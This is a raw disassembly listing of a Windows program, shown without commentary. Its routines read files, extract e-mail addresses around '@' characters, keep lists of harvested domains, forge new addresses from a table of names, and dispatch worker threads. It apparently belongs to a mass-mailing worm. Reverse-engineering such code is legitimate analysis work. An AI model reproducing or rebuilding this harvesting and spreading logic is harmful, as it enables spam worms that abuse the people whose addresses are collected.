- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5713: ; CODE XREF: sub_4A55D4+68j
- ; sub_4A55D4+8Fj ...
- xor eax, eax
- inc eax
- jmp short loc_4A570E
- sub_4A55D4 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A5718 proc near ; CODE XREF: sub_4A5788+25p
-
- var_4 = dword ptr -4
-
- push ebp
- mov ebp, esp
- push ecx
- push edi
- mov edi, ecx
- push edi
- call sub_4A5108
- test eax, eax
- pop ecx
- jz short loc_4A5762
-
- loc_4A572A: ; CODE XREF: sub_4A5718+53j
- ; sub_4A5718+5Ej
- xor eax, eax
- inc eax
- jmp short loc_4A5785
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A572F: ; CODE XREF: sub_4A5718+4Dj
- call sub_4A539F
- test eax, eax
- mov [ebp+var_4], eax
- jz short loc_4A576D
- push edi ; lpString
- call ds:lstrlenA
- jmp short loc_4A5751
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5744: ; CODE XREF: sub_4A5718+3Aj
- mov cl, [eax+edi]
- cmp cl, 40h
- jz short loc_4A5754
- cmp cl, 2Eh
- jz short loc_4A5754
-
- loc_4A5751: ; CODE XREF: sub_4A5718+2Aj
- dec eax
- jns short loc_4A5744
-
- loc_4A5754: ; CODE XREF: sub_4A5718+32j
- ; sub_4A5718+37j
- test eax, eax
- jle short loc_4A5767
- add eax, edi
- cmp byte ptr [eax], 2Eh
- jnz short loc_4A5767
- and byte ptr [eax], 0
-
- loc_4A5762: ; CODE XREF: sub_4A5718+10j
- cmp byte ptr [edi], 0
- jnz short loc_4A572F
-
- loc_4A5767: ; CODE XREF: sub_4A5718+3Ej
- ; sub_4A5718+45j
- cmp [ebp+var_4], 0
- jnz short loc_4A572A
-
- loc_4A576D: ; CODE XREF: sub_4A5718+21j
- mov eax, edi
- call sub_4A551A
- test eax, eax
- jnz short loc_4A572A
- mov eax, edi
- call sub_4A55D4
- neg eax
- sbb eax, eax
- neg eax
-
- loc_4A5785: ; CODE XREF: sub_4A5718+15j
- pop edi
- leave
- retn
- sub_4A5718 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A5788 proc near ; CODE XREF: sub_4A586A+C0p
- ; sub_4A5DD4+DAp ...
-
- String2 = byte ptr -100h
- lpString = dword ptr 8
- arg_4 = byte ptr 0Ch
-
- push ebp
- mov ebp, esp
- sub esp, 100h
- push edi
- mov edi, ds:lstrlenA
- push [ebp+lpString] ; lpString
- call edi ; lstrlenA
- cmp eax, 80h
- jg short loc_4A57B6
- mov eax, [ebp+lpString]
- lea ecx, [ebp+String2]
- call sub_4A5718
- test eax, eax
- jz short loc_4A57BE
-
- loc_4A57B6: ; CODE XREF: sub_4A5788+1Aj
- xor eax, eax
- inc eax
- jmp loc_4A5867
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A57BE: ; CODE XREF: sub_4A5788+2Cj
- push esi
- mov esi, ds:dword_4A83CC
- jmp short loc_4A57DE
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A57C7: ; CODE XREF: sub_4A5788+58j
- lea eax, [ebp+String2]
- push eax ; lpString2
- lea eax, [esi+0Ah]
- push eax ; lpString1
- call ds:lstrcmpiA
- test eax, eax
- jz short loc_4A5808
- mov esi, [esi]
-
- loc_4A57DE: ; CODE XREF: sub_4A5788+3Dj
- test esi, esi
- jnz short loc_4A57C7
- lea eax, [ebp+String2]
- push eax ; lpString
- call edi ; lstrlenA
- mov edi, eax
- add edi, 0Fh
- push edi ; dwBytes
- push esi ; dwFlags
- call ds:GetProcessHeap
- push eax ; hHeap
- call ds:HeapAlloc
- mov esi, eax
- test esi, esi
- jnz short loc_4A580D
- inc eax
- jmp short loc_4A5866
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5808: ; CODE XREF: sub_4A5788+52j
- push 2
- pop eax
- jmp short loc_4A5866
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A580D: ; CODE XREF: sub_4A5788+7Bj
- push edi
- push 0
- push esi
- call memset
- and byte ptr [esi+8], 0
- add esp, 0Ch
- call ds:GetTickCount
- mov [esi+4], eax
- mov al, [ebp+arg_4]
- mov [esi+9], al
- lea eax, [ebp+String2]
- push eax ; lpString2
- lea eax, [esi+0Ah]
- push eax ; lpString1
- call ds:lstrcpyA
- mov eax, ds:dword_4A83CC
- push offset a_edu ; ".edu"
- mov [esi], eax
- lea eax, [ebp+String2]
- push eax
- mov ds:dword_4A83CC, esi
- call sub_4A424F
- pop ecx
- test eax, eax
- pop ecx
- jz short loc_4A5864
- inc byte ptr [esi+9]
-
- loc_4A5864: ; CODE XREF: sub_4A5788+D7j
- xor eax, eax
-
- loc_4A5866: ; CODE XREF: sub_4A5788+7Ej
- ; sub_4A5788+83j
- pop esi
-
- loc_4A5867: ; CODE XREF: sub_4A5788+31j
- pop edi
- leave
- retn
- sub_4A5788 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A586A proc near ; CODE XREF: .text:004A5CB8p
-
- var_180 = byte ptr -180h
- String2 = byte ptr -80h
-
- push ebp
- mov ebp, esp
- sub esp, 180h
- mov eax, ds:dword_4A83CC
- push esi
- xor esi, esi
- test eax, eax
- jz loc_4A5931
-
- loc_4A5883: ; CODE XREF: sub_4A586A+1Ej
- mov eax, [eax]
- inc esi
- test eax, eax
- jnz short loc_4A5883
- test esi, esi
- jz loc_4A5931
- call sub_4A4239
- xor edx, edx
- xor ecx, ecx
- div esi
- mov eax, ds:dword_4A83CC
- test edx, edx
- jle short loc_4A58B5
-
- loc_4A58A6: ; CODE XREF: sub_4A586A+49j
- test eax, eax
- jz loc_4A5931
- mov eax, [eax]
- inc ecx
- cmp ecx, edx
- jl short loc_4A58A6
-
- loc_4A58B5: ; CODE XREF: sub_4A586A+3Aj
- test eax, eax
- jz short loc_4A5931
- add eax, 0Ah
- jmp short loc_4A58C4
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A58BE: ; CODE XREF: sub_4A586A+5Ej
- cmp cl, 40h
- jz short loc_4A58CF
- inc eax
-
- loc_4A58C4: ; CODE XREF: sub_4A586A+52j
- mov cl, [eax]
- test cl, cl
- jnz short loc_4A58BE
- cmp cl, 40h
- jnz short loc_4A5931
-
- loc_4A58CF: ; CODE XREF: sub_4A586A+57j
- inc eax
- push 4Fh ; iMaxLength
- push eax ; lpString2
- lea eax, [ebp+String2]
- push eax ; lpString1
- call ds:lstrcpynA
- call sub_4A4221
- movzx eax, ax
- push 31h
- xor edx, edx
- pop ecx
- div ecx
- lea eax, [ebp+var_180]
- push ds:lpString2[edx*4] ; lpString2
- push eax ; lpString1
- call ds:lstrcpyA
- mov esi, ds:lstrcatA
- lea eax, [ebp+var_180]
- push offset a@ ; lpString2
- push eax ; lpString1
- call esi ; lstrcatA
- lea eax, [ebp+String2]
- push eax ; lpString2
- lea eax, [ebp+var_180]
- push eax ; lpString1
- call esi ; lstrcatA
- lea eax, [ebp+var_180]
- push 1
- push eax
- call sub_4A5788
- pop ecx
- pop ecx
-
- loc_4A5931: ; CODE XREF: sub_4A586A+13j
- ; sub_4A586A+22j ...
- pop esi
- leave
- retn
- sub_4A586A endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- ; int __cdecl sub_4A5934(LPCSTR lpString2)
- sub_4A5934 proc near ; CODE XREF: sub_4A5A31+6p
- ; sub_4A5A31+39p
-
- lpString2 = dword ptr 8
-
- push esi
- mov esi, ds:dword_4A83D4
- jmp short loc_4A5951
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A593D: ; CODE XREF: sub_4A5934+1Fj
- push [esp+lpString2] ; lpString2
- lea eax, [esi+8]
- push eax ; lpString1
- call ds:lstrcmpiA
- test eax, eax
- jz short loc_4A5959
- mov esi, [esi]
-
- loc_4A5951: ; CODE XREF: sub_4A5934+7j
- test esi, esi
- jnz short loc_4A593D
- xor eax, eax
- pop esi
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5959: ; CODE XREF: sub_4A5934+19j
- mov eax, esi
- pop esi
- retn
- sub_4A5934 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- ; int __cdecl sub_4A595D(LPCSTR lpString2,int)
- sub_4A595D proc near ; CODE XREF: sub_4A5A31+33p
-
- lpString2 = dword ptr 4
- arg_4 = dword ptr 8
-
- mov eax, ds:dword_4A83D4
- push ebx
- push esi
- xor ebx, ebx
- xor esi, esi
- xor ecx, ecx
- cmp eax, ebx
- jz short loc_4A5990
-
- loc_4A596E: ; CODE XREF: sub_4A595D+29j
- cmp [eax+5Ch], ebx
- jnz short loc_4A5981
- cmp esi, ebx
- jz short loc_4A597F
- mov edx, [esi+58h]
- cmp edx, [eax+58h]
- jnb short loc_4A5981
-
- loc_4A597F: ; CODE XREF: sub_4A595D+18j
- mov esi, eax
-
- loc_4A5981: ; CODE XREF: sub_4A595D+14j
- ; sub_4A595D+20j
- mov eax, [eax]
- inc ecx
- cmp eax, ebx
- jnz short loc_4A596E
- cmp ecx, 100h
- jg short loc_4A59EC
-
- loc_4A5990: ; CODE XREF: sub_4A595D+Fj
- push 60h ; dwBytes
- push ebx ; dwFlags
- call ds:GetProcessHeap
- push eax ; hHeap
- call ds:HeapAlloc
- mov esi, eax
- cmp esi, ebx
- jnz short loc_4A59AE
-
- loc_4A59A6: ; CODE XREF: sub_4A595D+91j
- ; sub_4A595D+96j
- xor eax, eax
- inc eax
- jmp loc_4A5A2E
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A59AE: ; CODE XREF: sub_4A595D+47j
- push 60h
- push ebx
- push esi
- call memset
- mov eax, [esp+14h+arg_4]
- add esp, 0Ch
- mov [esi+4], eax
- lea eax, [esi+8]
- push 4Fh ; iMaxLength
- push [esp+0Ch+lpString2] ; lpString2
- push eax ; lpString1
- call ds:lstrcpynA
- call ds:GetTickCount
- mov [esi+58h], eax
- mov [esi+5Ch], ebx
- mov eax, ds:dword_4A83D4
- mov [esi], eax
- mov ds:dword_4A83D4, esi
- jmp short loc_4A5A2C
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A59EC: ; CODE XREF: sub_4A595D+31j
- cmp esi, ebx
- jz short loc_4A59A6
- cmp [esi+5Ch], ebx
- jnz short loc_4A59A6
- push edi
- lea edi, [esi+8]
- mov dword ptr [esi+5Ch], 1
- mov [edi], bl
- call ds:GetTickCount
- push dword ptr [esi+4] ; lpMem
- mov [esi+58h], eax
- call sub_4A50E5
- pop ecx
- push 4Fh ; iMaxLength
- push [esp+10h+lpString2] ; lpString2
- push edi ; lpString1
- call ds:lstrcpynA
- mov eax, [esp+0Ch+arg_4]
- mov [esi+5Ch], ebx
- mov [esi+4], eax
- pop edi
-
- loc_4A5A2C: ; CODE XREF: sub_4A595D+8Dj
- xor eax, eax
-
- loc_4A5A2E: ; CODE XREF: sub_4A595D+4Cj
- pop esi
- pop ebx
- retn
- sub_4A595D endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A5A31 proc near ; CODE XREF: sub_4A5A7C+35p
-
- lpString2 = dword ptr 8
-
- push esi
- mov esi, [esp+lpString2]
- push esi ; lpString2
- call sub_4A5934
- test eax, eax
- pop ecx
- jz short loc_4A5A46
- inc dword ptr [eax+5Ch]
- pop esi
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5A46: ; CODE XREF: sub_4A5A31+Ej
- push edi
- push esi
- call sub_4A50D1
- mov edi, eax
- pop ecx
- test edi, edi
- jnz short loc_4A5A62
- call ds:GetTickCount
- test al, 3
- jz short loc_4A5A62
-
- loc_4A5A5E: ; CODE XREF: sub_4A5A31+43j
- xor eax, eax
- jmp short loc_4A5A79
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5A62: ; CODE XREF: sub_4A5A31+21j
- ; sub_4A5A31+2Bj
- push edi ; int
- push esi ; lpString2
- call sub_4A595D
- push esi ; lpString2
- call sub_4A5934
- add esp, 0Ch
- test eax, eax
- jz short loc_4A5A5E
- inc dword ptr [eax+5Ch]
-
- loc_4A5A79: ; CODE XREF: sub_4A5A31+2Fj
- pop edi
- pop esi
- retn
- sub_4A5A31 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A5A7C proc near ; CODE XREF: .text:004A5B06p
-
- String1 = byte ptr -50h
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 50h
- push edi
- mov edi, [ebp+arg_0]
- add edi, 0Ah
- mov eax, edi
- jmp short loc_4A5A93
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5A8D: ; CODE XREF: sub_4A5A7C+1Bj
- cmp cl, 40h
- jz short loc_4A5A9E
- inc eax
-
- loc_4A5A93: ; CODE XREF: sub_4A5A7C+Fj
- mov cl, [eax]
- test cl, cl
- jnz short loc_4A5A8D
- cmp cl, 40h
- jnz short loc_4A5AE8
-
- loc_4A5A9E: ; CODE XREF: sub_4A5A7C+14j
- push esi
- inc eax
- push 4Fh ; iMaxLength
- push eax ; lpString2
- lea eax, [ebp+String1]
- push eax ; lpString1
- call ds:lstrcpynA
- lea eax, [ebp+String1]
- push eax
- call sub_4A5A31
- mov esi, eax
- pop ecx
- test esi, esi
- jz short loc_4A5AE7
- push edi ; lpString
- call sub_4A76D2
- mov edi, eax
- pop ecx
- test edi, edi
- jz short loc_4A5ADC
- push edi
- push dword ptr [esi+4]
- call sub_4A7F4C
- pop ecx
- pop ecx
- push edi ; hMem
- call ds:GlobalFree
-
- loc_4A5ADC: ; CODE XREF: sub_4A5A7C+4Cj
- mov eax, [esi+5Ch]
- test eax, eax
- jle short loc_4A5AE7
- dec eax
- mov [esi+5Ch], eax
-
- loc_4A5AE7: ; CODE XREF: sub_4A5A7C+3Fj
- ; sub_4A5A7C+65j
- pop esi
-
- loc_4A5AE8: ; CODE XREF: sub_4A5A7C+20j
- pop edi
- leave
- retn
- sub_4A5A7C endp
-
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5AEB: ; DATA XREF: .text:004A5C57o
- push esi
- push edi
- mov edi, offset dword_4A83D0
- push edi
- call ds:InterlockedIncrement
- mov esi, [esp+0Ch]
- test esi, esi
- jz short loc_4A5B10
- push esi
- mov byte ptr [esi+8], 1
- call sub_4A5A7C
- pop ecx
- mov byte ptr [esi+8], 2
-
- loc_4A5B10: ; CODE XREF: .text:004A5AFFj
- cmp ds:dword_4A83D0, 0
- jbe short loc_4A5B20
- push edi
- call ds:InterlockedDecrement
-
- loc_4A5B20: ; CODE XREF: .text:004A5B17j
- push 0
- call ds:ExitThread
- pop edi
- pop esi
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A5B2A proc near ; CODE XREF: .text:004A5C17p
- push esi
- mov esi, ds:dword_4A83CC
- push edi
- mov edi, offset dword_4A83CC
- jmp short loc_4A5B7D
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5B39: ; CODE XREF: sub_4A5B2A+55j
- cmp byte ptr [esi+8], 2
- jnz short loc_4A5B5F
- call ds:GetTickCount
- sub eax, [esi+4]
- xor edx, edx
- mov ecx, 3E8h
- div ecx
- lea ecx, [eax+5]
- test ecx, ecx
- jl short loc_4A5B65
- cmp eax, 1C20h
- jg short loc_4A5B65
-
- loc_4A5B5F: ; CODE XREF: sub_4A5B2A+13j
- mov edi, esi
- mov esi, [esi]
- jmp short loc_4A5B7D
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5B65: ; CODE XREF: sub_4A5B2A+2Cj
- ; sub_4A5B2A+33j
- mov ecx, [esi]
- mov eax, esi
- push eax ; lpMem
- mov [edi], ecx
- mov esi, [esi]
- push 0 ; dwFlags
- call ds:GetProcessHeap
- push eax ; hHeap
- call ds:HeapFree
-
- loc_4A5B7D: ; CODE XREF: sub_4A5B2A+Dj
- ; sub_4A5B2A+39j
- test esi, esi
- jnz short loc_4A5B39
- pop edi
- pop esi
- retn
- sub_4A5B2A endp
-
- ; ───────────────────────────────────────────────────────────────────────────
- sub esp, 0Ch
- and dword ptr [esp+0], 0
- push ebx
- push ebp
- push esi
- push edi
- mov edi, ds:Sleep
- mov ds:dword_4A83D0, 0
- jmp short loc_4A5BB9
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5BA2: ; CODE XREF: .text:004A5BC0j
- push 800h
- call edi ; Sleep
- push 1
- call sub_4A613D
- mov dword ptr [esp], 3800h
-
- loc_4A5BB7: ; CODE XREF: .text:004A5C79j
- ; .text:004A5C87j ...
- call edi ; Sleep
-
- loc_4A5BB9: ; CODE XREF: .text:004A5BA0j
- call sub_4A4681
- test eax, eax
- jz short loc_4A5BA2
- xor eax, eax
- cmp dword ptr [esp+10h], 1
- setz al
- push eax
- call sub_4A613D
- mov eax, ds:dword_4A83CC
- xor esi, esi
- xor ebx, ebx
- xor ebp, ebp
- test eax, eax
- pop ecx
- mov [esp+14h], esi
- jz short loc_4A5C34
-
- loc_4A5BE6: ; CODE XREF: .text:004A5C0Dj
- inc ebx
- cmp byte ptr [eax+8], 0
- jnz short loc_4A5BFC
- inc ebp
- test esi, esi
- jz short loc_4A5BFA
- mov cl, [esi+9]
- cmp cl, [eax+9]
- jle short loc_4A5BFC
-
- loc_4A5BFA: ; CODE XREF: .text:004A5BF0j
- mov esi, eax
-
- loc_4A5BFC: ; CODE XREF: .text:004A5BEBj
- ; .text:004A5BF8j
- mov ecx, [eax+4]
- cmp ecx, [esp+14h]
- jb short loc_4A5C09
- mov [esp+14h], ecx
-
- loc_4A5C09: ; CODE XREF: .text:004A5C03j
- mov eax, [eax]
- test eax, eax
- jnz short loc_4A5BE6
- cmp ebx, 1000h
- jl short loc_4A5C34
- call sub_4A5B2A
- cmp ebp, 200h
- jle short loc_4A5C34
- xor eax, eax
- inc eax
- push eax
- mov [esp+14h], eax
- call sub_4A613D
- pop ecx
- jmp short loc_4A5C39
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5C34: ; CODE XREF: .text:004A5BE4j
- ; .text:004A5C15j ...
- and dword ptr [esp+10h], 0
-
- loc_4A5C39: ; CODE XREF: .text:004A5C32j
- xor eax, eax
- cmp ebp, eax
- jz short loc_4A5C8C
- cmp esi, eax
- jz short loc_4A5C8C
- cmp ds:dword_4A83D0, 4
- jnb short loc_4A5C74
- lea ecx, [esp+18h]
- mov byte ptr [esi+8], 1
- push ecx
- push eax
- push esi
- push offset loc_4A5AEB
- push eax
- push eax
- call ds:CreateThread
- test eax, eax
- jz short loc_4A5C7E
- cmp eax, 0FFFFFFFFh
- jz short loc_4A5C7E
- push eax
- call ds:CloseHandle
-
- loc_4A5C74: ; CODE XREF: .text:004A5C4Aj
- push 100h
- jmp loc_4A5BB7
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5C7E: ; CODE XREF: .text:004A5C66j
- ; .text:004A5C6Bj
- mov byte ptr [esi+8], 2
-
- loc_4A5C82: ; CODE XREF: .text:004A5C9Ej
- ; .text:004A5CA5j ...
- push 400h
- jmp loc_4A5BB7
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5C8C: ; CODE XREF: .text:004A5C3Dj
- ; .text:004A5C41j
- push eax
- mov dword ptr [esp+14h], 2
- call sub_4A613D
- cmp ebx, 3
- pop ecx
- jl short loc_4A5C82
- cmp dword ptr [esp+14h], 0
- jz short loc_4A5C82
- call ds:GetTickCount
- sub eax, [esp+14h]
- cmp eax, 1770h
- jb short loc_4A5C82
- call sub_4A586A
- push 80h
- jmp loc_4A5BB7
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A5CC7 proc near ; CODE XREF: main+70p
- xor eax, eax
- mov ds:dword_4A83CC, eax
- mov ds:dword_4A83D0, eax
- mov ds:dword_4A83D4, eax
- retn
- sub_4A5CC7 endp
-
- ; ───────────────────────────────────────────────────────────────────────────
- dword_4A5CD9 dd 0FFFEA6E8h, 0FF006AFFh, 4A10A015h ; DATA XREF: main+7Bo
- ; ───────────────────────────────────────────────────────────────────────────
- add ah, cl
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A5CE7 proc near ; CODE XREF: sub_4A5EC8+79p
-
- var_C = dword ptr -0Ch
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- WideCharStr = word ptr 8
- arg_4 = dword ptr 0Ch
-
- push ebp
- mov ebp, esp
- sub esp, 0Ch
- cmp [ebp+arg_4], 0
- mov eax, dword ptr [ebp+WideCharStr]
- jle short loc_4A5D0C
- mov edx, [ebp+arg_4]
-
- loc_4A5CF9: ; CODE XREF: sub_4A5CE7+23j
- movzx ecx, byte ptr [eax]
- mov cl, ds:byte_4A2B00[ecx]
- test cl, cl
- jz short loc_4A5D08
- mov [eax], cl
-
- loc_4A5D08: ; CODE XREF: sub_4A5CE7+1Dj
- inc eax
- dec edx
- jnz short loc_4A5CF9
-
- loc_4A5D0C: ; CODE XREF: sub_4A5CE7+Dj
- push ebx
- push esi
- push edi
-
- loc_4A5D0F: ; CODE XREF: sub_4A5CE7+E0j
- xor esi, esi
- cmp [ebp+arg_4], esi
- mov [ebp+var_4], esi
- jl loc_4A5DA9
-
- loc_4A5D1D: ; CODE XREF: sub_4A5CE7+BCj
- push 2
- mov edi, offset dword_4A2C08
- pop ebx
- mov [ebp+var_8], ebx
-
- loc_4A5D28: ; CODE XREF: sub_4A5CE7+B6j
- cmp ebx, esi
- jg short loc_4A5D92
- mov ecx, dword ptr [ebp+WideCharStr]
- mov eax, esi
- sub eax, ebx
- push ebx
- mov [ebp+var_C], eax
- add eax, ecx
- push eax
- push dword ptr [edi-4]
- call sub_4A42A7
- add esp, 0Ch
- test eax, eax
- jnz short loc_4A5D92
- push dword ptr [edi]
- mov esi, [ebp+var_C]
- mov eax, dword ptr [ebp+WideCharStr]
- inc [ebp+var_4]
- push dword ptr [edi+4]
- add eax, esi
- push eax
- call memcpy
- mov eax, [edi]
- add esp, 0Ch
- cmp ebx, eax
- jz short loc_4A5D8B
- mov edx, [ebp+arg_4]
- add eax, esi
- sub edx, [ebp+var_8]
- add eax, dword ptr [ebp+WideCharStr]
- lea ecx, [ebx+esi]
- add ecx, dword ptr [ebp+WideCharStr]
- sub edx, esi
- test edx, edx
- jle short loc_4A5D88
-
- loc_4A5D7F: ; CODE XREF: sub_4A5CE7+9Fj
- mov bl, [ecx]
- mov [eax], bl
- inc eax
- inc ecx
- dec edx
- jnz short loc_4A5D7F
-
- loc_4A5D88: ; CODE XREF: sub_4A5CE7+96j
- mov ebx, [ebp+var_8]
-
- loc_4A5D8B: ; CODE XREF: sub_4A5CE7+7Fj
- mov eax, [edi]
- sub eax, ebx
- add [ebp+arg_4], eax
-
- loc_4A5D92: ; CODE XREF: sub_4A5CE7+43j
- ; sub_4A5CE7+60j
- mov ebx, [edi+8]
- add edi, 10h
- test ebx, ebx
- mov [ebp+var_8], ebx
- jnz short loc_4A5D28
- inc esi
- cmp esi, [ebp+arg_4]
- jle loc_4A5D1D
-
- loc_4A5DA9: ; CODE XREF: sub_4A5CE7+30j
- mov esi, dword ptr [ebp+WideCharStr]
- mov eax, [ebp+arg_4]
- push esi ; WideCharStr
- and byte ptr [esi+eax], 0
- call sub_4A4321
- add [ebp+var_4], eax
- push esi
- call sub_4A4489
- add eax, [ebp+var_4]
- pop ecx
- pop ecx
- jnz loc_4A5D0F
- pop edi
- pop esi
- xor eax, eax
- pop ebx
- leave
- retn
- sub_4A5CE7 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A5DD4 proc near ; CODE XREF: sub_4A5EC8+88p
-
- var_108 = byte ptr -108h
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
-
- push ebp
- mov ebp, esp
- sub esp, 108h
- push edi
- xor edi, edi
- cmp [ebp+arg_4], edi
- mov [ebp+var_4], edi
- jle loc_4A5EC2
- push ebx
- push esi
- mov esi, [ebp+arg_0]
-
- loc_4A5DF1: ; CODE XREF: sub_4A5DD4+E6j
- lea ebx, [edi+1]
- mov [ebp+var_8], ebx
- cmp byte ptr [esi+ebx-1], 40h
- jnz loc_4A5EB5
- test edi, edi
- mov ecx, edi
- jle short loc_4A5E1B
-
- loc_4A5E08: ; CODE XREF: sub_4A5DD4+45j
- movzx eax, byte ptr [esi+ecx-1]
- cmp ds:byte_4A2C90[eax], 0
- jz short loc_4A5E1B
- dec ecx
- test ecx, ecx
- jg short loc_4A5E08
-
- loc_4A5E1B: ; CODE XREF: sub_4A5DD4+32j
- ; sub_4A5DD4+40j
- cmp ebx, [ebp+arg_4]
- mov eax, ebx
- jge short loc_4A5E45
-
- loc_4A5E22: ; CODE XREF: sub_4A5DD4+5Fj
- movzx edx, byte ptr [eax+esi]
- cmp ds:byte_4A2C90[edx], 0
- jz short loc_4A5E45
- inc eax
- cmp eax, [ebp+arg_4]
- jl short loc_4A5E22
- jmp short loc_4A5E45
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5E37: ; CODE XREF: sub_4A5DD4+73j
- movzx edx, byte ptr [ecx+esi]
- cmp ds:byte_4A2C90[edx], 2
- jnz short loc_4A5E49
- inc ecx
-
- loc_4A5E45: ; CODE XREF: sub_4A5DD4+4Cj
- ; sub_4A5DD4+59j ...
- cmp ecx, eax
- jl short loc_4A5E37
-
- loc_4A5E49: ; CODE XREF: sub_4A5DD4+6Ej
- lea edx, [ecx+3]
- cmp edx, eax
- jge short loc_4A5EB5
- cmp ecx, edi
- jge short loc_4A5EB5
- cmp eax, ecx
- jle short loc_4A5E6E
-
- loc_4A5E58: ; CODE XREF: sub_4A5DD4+95j
- movzx ebx, byte ptr [esi+eax-1]
- cmp ds:byte_4A2C90[ebx], 2
- jnz short loc_4A5E6B
- dec eax
- cmp eax, ecx
- jg short loc_4A5E58
-
- loc_4A5E6B: ; CODE XREF: sub_4A5DD4+90j
- mov ebx, [ebp+var_8]
-
- loc_4A5E6E: ; CODE XREF: sub_4A5DD4+82j
- cmp eax, edx
- jle short loc_4A5EB5
- cmp eax, edi
- jle short loc_4A5EB5
- sub eax, ecx
- mov edi, eax
- cmp edi, 7
- jl short loc_4A5EB5
- inc [ebp+var_4]
- xor edx, edx
- add ecx, esi
-
- loc_4A5E86: ; CODE XREF: sub_4A5DD4+C7j
- cmp edx, edi
- jge short loc_4A5E9D
- mov al, [ecx]
- mov [ebp+edx+var_108], al
- inc edx
- inc ecx
- cmp edx, 0FEh
- jb short loc_4A5E86
-
- loc_4A5E9D: ; CODE XREF: sub_4A5DD4+B4j
- and [ebp+edx+var_108], 0
- lea eax, [ebp+var_108]
- push 0
- push eax
- call sub_4A5788
- pop ecx
- pop ecx
-
- loc_4A5EB5: ; CODE XREF: sub_4A5DD4+28j
- ; sub_4A5DD4+7Aj ...
- mov edi, ebx
- cmp edi, [ebp+arg_4]
- jl loc_4A5DF1
- pop esi
- pop ebx
-
- loc_4A5EC2: ; CODE XREF: sub_4A5DD4+12j
- mov eax, [ebp+var_4]
- pop edi
- leave
- retn
- sub_4A5DD4 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A5EC8 proc near ; CODE XREF: sub_4A6147+1ABp
-
- var_10010 = byte ptr -10010h
- hObject = dword ptr -10h
- var_C = dword ptr -0Ch
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- lpFileName = dword ptr 8
-
- push ebp
- mov ebp, esp
- mov eax, 10010h
- call sub_4A8180
- push ebx
- xor ebx, ebx
- push ebx ; hTemplateFile
- push 80h ; dwFlagsAndAttributes
- push 3 ; dwCreationDisposition
- push ebx ; lpSecurityAttributes
- push 3 ; dwShareMode
- push 80000000h ; dwDesiredAccess
- push [ebp+lpFileName] ; lpFileName
- call ds:CreateFileA
- cmp eax, ebx
- mov [ebp+hObject], eax
- jz loc_4A5F91
- cmp eax, 0FFFFFFFFh
- jz loc_4A5F91
- push esi
- mov esi, ds:ReadFile
- push edi
- lea ecx, [ebp+var_4]
- push ebx
- push ecx
- mov edi, 0FFFDh
- lea ecx, [ebp+var_10010]
- push edi
- push ecx
- mov [ebp+var_8], ebx
- mov [ebp+var_C], ebx
- push eax
- jmp short loc_4A5F76
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5F28: ; CODE XREF: sub_4A5EC8+B8j
- cmp eax, 0FFFFh
- jnb short loc_4A5F82
- add [ebp+var_8], eax
- mov [ebp+eax+var_10010], bl
- push eax
- lea eax, [ebp+var_10010]
- push eax
- call sub_4A5CE7
- push [ebp+var_4]
- lea eax, [ebp+var_10010]
- push eax
- call sub_4A5DD4
- add esp, 10h
- add [ebp+var_C], eax
- jnz short loc_4A5F66
- cmp [ebp+var_8], 4B000h
- ja short loc_4A5F82
-
- loc_4A5F66: ; CODE XREF: sub_4A5EC8+93j
- lea eax, [ebp+var_4]
- push ebx
- push eax
- lea eax, [ebp+var_10010]
- push edi
- push eax
- push [ebp+hObject]
-
- loc_4A5F76: ; CODE XREF: sub_4A5EC8+5Ej
- mov [ebp+var_4], ebx
- call esi
- mov eax, [ebp+var_4]
- cmp eax, ebx
- jnz short loc_4A5F28
-
- loc_4A5F82: ; CODE XREF: sub_4A5EC8+65j
- ; sub_4A5EC8+9Cj
